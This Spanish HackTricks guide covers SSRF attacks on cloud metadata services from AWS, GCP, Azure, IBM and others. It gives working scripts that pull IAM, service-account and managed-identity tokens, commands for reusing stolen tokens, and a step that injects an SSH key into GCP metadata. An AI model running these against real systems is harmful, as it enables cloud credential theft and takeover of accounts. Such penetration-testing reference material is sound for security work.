# Cloud SSRF
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Obtén [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
**Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## AWS ### Abusando de SSRF en el entorno de AWS EC2 **La metadata** se puede acceder desde cualquier máquina EC2 y ofrece información interesante sobre ella. Es accesible en la url: `http://169.254.169.254` ([información sobre la metadata aquí](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). Hay **2 versiones** del endpoint de metadata. La **primera** permite **acceder** al endpoint a través de solicitudes **GET** (por lo que cualquier **SSRF puede explotarlo**). Para la **versión 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), necesitas solicitar un **token** enviando una solicitud **PUT** con un **encabezado HTTP** y luego usar ese token para acceder a la metadata con otro encabezado HTTP (por lo que es **más complicado de abusar** con un SSRF). {% hint style="danger" %} Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, [**según la documentación**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **respuesta de la solicitud PUT** tendrá un **límite de salto de 1**, lo que hace imposible acceder a la metadata de EC2 desde un contenedor dentro de la instancia EC2. Además, **IMDSv2** también **bloqueará las solicitudes para obtener un token que incluyan el encabezado `X-Forwarded-For`**. Esto es para evitar que los proxies inversos mal configurados puedan acceder a él. {% endhint %} Puedes encontrar información sobre los [endpoints de metadata en la documentación](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). En el siguiente script se obtiene información interesante de ella: ```bash EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" URL="http://169.254.169.254/latest/meta-data" aws_req="" if [ "$(command -v curl)" ]; then aws_req="curl -s -f -H '$HEADER'" elif [ "$(command -v wget)" ]; then aws_req="wget -q -O - -H '$HEADER'" else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" printf "region: "; eval $aws_req "$URL/placement/region"; echo "" echo "" echo "Account Info" eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo "" echo "" echo "Network Info" for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do echo "Mac: $mac" printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" echo "" done echo "" echo "IAM Role" eval $aws_req "$URL/iam/info" for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do echo "Role: $role" eval $aws_req "$URL/iam/security-credentials/$role"; echo "" echo "" done echo "" echo "User Data" # Search hardcoded credentials eval $aws_req "http://169.254.169.254/latest/user-data" echo "" echo "EC2 Security Credentials" eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" ``` Como ejemplo de **credenciales IAM públicamente disponibles** expuestas, puedes visitar: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) También puedes verificar las **credenciales de seguridad de EC2 públicas** en: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) Luego puedes **tomar esas credenciales y usarlas con la AWS CLI**. Esto te permitirá hacer **cualquier cosa a la que ese rol tenga permisos**. Para aprovechar las nuevas credenciales, deberás crear un nuevo perfil de AWS como este: ``` [profilename] aws_access_key_id = ASIA6GG7PSQG4TCGYYOU aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw= ``` Observa el **aws\_session\_token**, esto es indispensable para que el perfil funcione. [**PACU**](https://github.com/RhinoSecurityLabs/pacu) se puede utilizar con las credenciales descubiertas para conocer tus privilegios e intentar escalar privilegios ### SSRF en las credenciales de AWS ECS (Servicio de Contenedores) **ECS**, es un grupo lógico de instancias EC2 en las que puedes ejecutar una aplicación sin tener que escalar tu propia infraestructura de gestión de clúster porque ECS se encarga de eso por ti. Si logras comprometer el servicio que se ejecuta en **ECS**, los **puntos finales de metadatos cambian**. Si accedes a _**http://169.254.170.2/v2/credentials/\**_ encontrarás las credenciales de la máquina ECS. Pero primero necesitas **encontrar el \**. Para encontrar el \ necesitas leer la variable **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** dentro de la máquina.\ Podrías ser capaz de leerlo explotando una **Travesía de Ruta** a `file:///proc/self/environ`\ La dirección http mencionada debería darte el **AccessKey, SecretKey y token**. ```bash curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` {% hint style="info" %} Ten en cuenta que en **algunos casos** podrás acceder a la **instancia de metadatos de EC2** desde el contenedor (verifica las limitaciones de TTL de IMDSv2 mencionadas anteriormente). En estos escenarios desde el contenedor podrías acceder tanto al rol IAM del contenedor como al rol IAM de EC2. {% endhint %} ### SSRF para AWS Lambda En este caso, las **credenciales se almacenan en variables de entorno**. Por lo tanto, para acceder a ellas necesitas acceder a algo como **`file:///proc/self/environ`**. Los **nombres** de las **variables de entorno interesantes** son: * `AWS_SESSION_TOKEN` * `AWS_SECRET_ACCESS_KEY` * `AWS_ACCES_KEY_ID` Además, además de las credenciales IAM, las funciones Lambda también tienen **datos de evento que se pasan a la función cuando se inicia**. Estos datos están disponibles para la función a través de la [interfaz de tiempo de ejecución](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) y podrían contener **información sensible** (como dentro de las **stageVariables**). A diferencia de las credenciales IAM, estos datos son accesibles a través de SSRF estándar en **`http://localhost:9001/2018-06-01/runtime/invocation/next`**. {% hint style="warning" %} Ten en cuenta que las **credenciales de lambda** están dentro de las **variables de entorno**. Por lo tanto, si el **rastreo de pila** del código lambda imprime las variables de entorno, es posible **exfiltrarlas provocando un error** en la aplicación. {% endhint %} ### URL de SSRF para AWS Elastic Beanstalk Recuperamos el `accountId` y la `región` de la API. ``` http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` Luego recuperamos el `AccessKeyId`, `SecretAccessKey` y `Token` de la API. ``` http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` ![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL) Luego usamos las credenciales con `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`. ## GCP Puedes [**encontrar aquí la documentación sobre los puntos finales de metadatos**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata). ### URL SSRF para Google Cloud Requiere el encabezado HTTP **`Metadata-Flavor: Google`** y puedes acceder al punto final de metadatos con las siguientes URLs: * http://169.254.169.254 * http://metadata.google.internal * http://metadata Puntos finales interesantes para extraer información: ```bash # /project # Project name and number curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id # Project attributes curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true # /oslogin # users curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users # groups curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups # security-keys curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys # authorize curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize # /instance # Description curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description # Hostname curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname # ID curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id # Image curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image # Machine Type curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type # Name curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name # Tags curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags # Zone curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone # User data curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script" # Network Interfaces for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip") echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway") echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network") echo " ============== " done # Service Accounts for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") echo " ============== " done # K8s Attributtes ## Cluster location curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location ## Cluster name curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name ## Os-login enabled curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin ## Kube-env curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env ## Kube-labels curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels ## Kubeconfig curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig # All custom project attributes curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" # All custom project attributes instance attributes curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" ``` Beta NO requiere un encabezado en este momento (gracias a Mathias Karlsson @avlidienbrunn) ``` http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ``` {% hint style="danger" %} Para **utilizar el token de la cuenta de servicio exfiltrado**, simplemente puedes hacer lo siguiente: ```bash # Via env vars export CLOUDSDK_AUTH_ACCESS_TOKEN= gcloud projects list # Via setup echo "" > /some/path/to/token gcloud config set auth/access_token_file /some/path/to/token gcloud projects list gcloud config unset auth/access_token_file ``` {% endhint %} ### Agregar una clave SSH Extraer el token ``` http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json ``` Verifique el alcance del token (con la salida anterior o ejecutando lo siguiente) ```bash curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA { "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" } ``` Ahora empuja la clave SSH. {% code overflow="wrap" %} ```bash curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" -H "Content-Type: application/json" --data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}' ``` {% endcode %} ### Funciones en la nube El punto final de metadatos funciona de la misma manera que en las VM, pero sin algunos puntos finales: ```bash # /project # Project name and number curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id # /instance # ID curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id # Zone curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone # Auto MTLS config curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration # Service Accounts for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") echo " ============== " done ``` ## Digital Ocean {% hint style="warning" %} No hay cosas como Roles de AWS o cuentas de servicio de GCP, así que no esperes encontrar credenciales de bot de metadatos {% endhint %} Documentación disponible en [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) ``` curl http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1.json http://169.254.169.254/metadata/v1/ http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1/user-data http://169.254.169.254/metadata/v1/hostname http://169.254.169.254/metadata/v1/region http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request: curl http://169.254.169.254/metadata/v1.json | jq ``` ## Azure ### Azure VM [**Documentación** aquí](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux). * **Debe** contener el encabezado `Metadata: true` * No debe contener un encabezado `X-Forwarded-For` ```bash HEADER="Metadata:true" URL="http://169.254.169.254/metadata" API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions echo "Instance details" curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION" echo "Load Balancer details" curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION" echo "Management Token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" echo "Graph token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/" echo "Vault token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/" echo "Storage token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/" ``` ```bash # Powershell Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 ## User data $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text" [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) # Paths /metadata/instance?api-version=2017-04-02 /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text ``` ### Azure App Service Desde la **env** puedes obtener los valores de `IDENTITY_HEADER` _y_ `IDENTITY_ENDPOINT`. Que puedes usar para obtener un token para comunicarte con el servidor de metadatos. La mayoría de las veces, quieres un token para uno de estos recursos: * [https://storage.azure.com](https://storage.azure.com/) * [https://vault.azure.net](https://vault.azure.net/) * [https://graph.microsoft.com](https://graph.microsoft.com/) * [https://management.azure.com](https://management.azure.com/) ```bash # Check for those env vars to know if you are in an Azure app echo $IDENTITY_HEADER echo $IDENTITY_ENDPOINT # You should also be able to find the folder: ls /opt/microsoft #and the file ls /opt/microsoft/msodbcsql17 # Get management token curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER # Get graph token curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER # API # Get Subscriptions URL="https://management.azure.com/subscriptions?api-version=2020-01-01" curl -H "Authorization: $TOKEN" "$URL" # Get current permission on resources in the subscription URL="https://management.azure.com/subscriptions//resources?api-version=2020-10-01'" curl -H "Authorization: $TOKEN" "$URL" # Get permissions in a VM URL="https://management.azure.com/subscriptions//resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines//providers/Microsoft.Authorization/permissions?api-version=2015-07-01" curl -H "Authorization: $TOKEN" "$URL" ``` ```powershell # API request in powershell to management endpoint $Token = 'eyJ0eX..' $URI='https://management.azure.com/subscriptions?api-version=2020-01-01' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value # API request to graph endpoint (get enterprise applications) $Token = 'eyJ0eX..' $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value # Using AzureAD Powershell module witho both management and graph tokens $token = 'eyJ0e..' $graphaccesstoken = 'eyJ0eX..' Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc # Try to get current perms over resources Get-AzResource ## The following error means that the user doesn't have permissions over any resource Get-AzResource : 'this.Client.SubscriptionId' cannot be null. At line:1 char:1 + Get-AzResource + ~~~~~~~~~~~~~~ + CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException + FullyQualifiedErrorId : Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet ``` ## IBM Cloud {% hint style="warning" %} Ten en cuenta que en IBM, por defecto, los metadatos no están habilitados, por lo que es posible que no puedas acceder a ellos incluso si estás dentro de una VM en la nube de IBM. {% endhint %} {% code overflow="wrap" %} ```bash export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\ -H "Metadata-Flavor: ibm"\ -H "Accept: application/json"\ -d '{ "expires_in": 3600 }' | jq -r '(.access_token)'` # Get instance details curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq # Get SSH keys info curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq # Get SSH keys fingerprints & user data curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq # Get placement groups curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq # Get IAM credentials curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq ``` {% endcode %} La documentación para los servicios de metadatos de varias plataformas se describe a continuación, destacando los métodos a través de los cuales se puede acceder a la información de configuración y tiempo de ejecución de las instancias. Cada plataforma ofrece puntos finales únicos para acceder a sus servicios de metadatos. ## Packetcloud Para acceder a los metadatos de Packetcloud, la documentación se puede encontrar en: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata) ## OpenStack/RackSpace No se menciona la necesidad de un encabezado. Los metadatos se pueden acceder a través de: * `http://169.254.169.254/openstack` ## HP Helion Tampoco se menciona la necesidad de un encabezado aquí. Los metadatos son accesibles en: * `http://169.254.169.254/2009-04-04/meta-data/` ## Oracle Cloud Oracle Cloud proporciona una serie de puntos finales para acceder a varios aspectos de metadatos: * `http://192.0.0.192/latest/` * `http://192.0.0.192/latest/user-data/` * `http://192.0.0.192/latest/meta-data/` * `http://192.0.0.192/latest/attributes/` ## Alibaba Alibaba ofrece puntos finales para acceder a metadatos, incluidos IDs de instancia e imagen: * `http://100.100.100.200/latest/meta-data/` * `http://100.100.100.200/latest/meta-data/instance-id` * `http://100.100.100.200/latest/meta-data/image-id` ## Kubernetes ETCD Kubernetes ETCD puede contener claves API, direcciones IP internas y puertos. El acceso se demuestra a través de: * `curl -L http://127.0.0.1:2379/version` * `curl http://127.0.0.1:2379/v2/keys/?recursive=true` ## Docker Los metadatos de Docker se pueden acceder localmente, con ejemplos dados para la recuperación de información de contenedores e imágenes: * Ejemplo simple para acceder a metadatos de contenedores e imágenes a través del socket de Docker: * `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` * Dentro del contenedor, use curl con el socket de Docker: * `curl --unix-socket /var/run/docker.sock http://foo/containers/json` * `curl --unix-socket /var/run/docker.sock http://foo/images/json` ## Rancher Los metadatos de Rancher se pueden acceder utilizando: * `curl http://rancher-metadata//`